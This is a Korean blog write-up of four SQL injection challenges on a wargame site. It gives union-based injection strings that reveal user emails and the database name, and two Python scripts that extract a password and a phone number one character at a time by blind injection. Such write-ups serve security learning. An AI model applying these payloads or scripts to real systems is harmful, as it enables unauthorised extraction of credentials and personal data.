webhacking/sql, sql injection

DareYourMind SQL Exploit 1~4

qkqhxla1 2015. 1. 24. 17:13

1. ' or 1=1#으로 sqli가 됨을 확인할수 있다. union으로 컬럼을 한개씩 늘려나가면서 컬럼 갯수와, 유효한 위치를 확인한 후에 공격하면 된다. ' union select name,email,3 from _User_SQL1_ where name='listito'# 처럼 입력하면 listito의

이메일주소가 뜬다. 그게 답.




2. sqli는 되는데 입력할수 있는 길이가 짧다. 하나의 계정 비밀번호만 구하면 되는데, '||length(pass)=13#으로 계정 전체 패스워드가 13임을 알 수 있다. 그리고 패스워드를 like를 이용해서 한글자씩 뽑아낸다. ||pass like '첫번째글자%'#

그리고 첫번째 글자가 뽑혔으면 계속해서. ||pass like '%이전글자%'#와 같은 형식으로 참이 나오면 잇는 식으로 코딩을 한다. 근데 희한하게 패스워드는 다 구했는데 로그인하려고 보면 틀렸다고 나온다. 이건 왜 그러는지 모르겠다.

# -*- encoding: cp949 -*-
import urllib2
answer = 'JX'
before = 'X'
for j in range(0,11):
    for i in range(32,128):
        print j,i,answer
        req = urllib2.Request('http://www.dareyourmind.net/real/sql2/list.php','user=%27%7C%7Cpass+like+%27%25'+urllib2.quote(before+chr(i))+'%25%27%23')
        req.add_header('cookie','쿠키')
        page = urllib2.urlopen(req).read()
        if page.find('Britney')==-1 and page.find('Amanda')==-1 and page.find('listito')!=-1 and i!=92 and i!=95 and i!=37:
            answer += chr(i); before = chr(i)
            break
print answer

예로 listito의 비밀번호는 JXoagOzj2nl5s 13글자가 잘 뽑힌다. 근데 왜 로그인은 안될까.....




3. Nicole의 전화번호를 구하는게 목표이다. 사진을 누르면 post방식으로 id=1 이렇게 숫자가 전달된다. 너무 취약하게 보이는 부분이다. 저기다가 sqli를 할 수 있는데, id=1 or name='Nicole' and length(phone)=10# 처럼 해보면 Nicole의 사진도 보이는 것으로 보아 니콜의 전화번호는 10자리이다. 이제 그냥 bsqli를 하면 된다.

# -*- encoding: cp949 -*-
import urllib2
answer = ''
for j in range(1,11):
    for i in range(32,128):
        print j,i,answer
        req = urllib2.Request('http://www.dareyourmind.net/real/sql3/list.php',"id=1 or name='Nicole' and ascii(substr(phone,"+str(j)+",1))="+str(i)+"#")
        req.add_header('cookie','쿠키')
        page = urllib2.urlopen(req).read()
        if page.find('Nicole')!=-1:
            print chr(i)
            answer += chr(i)
            break
print answer



4. sql1번의 db 이름을 구하라는데.. 위의 1번 쿼리문인

' union select name,email,3 from _User_SQL1_ where name='listito'#

에서 ' union select name,database(),3 from _User_SQL1_ where name='listito'#

로 바꿔주면 _SQL1_ 이 나온다.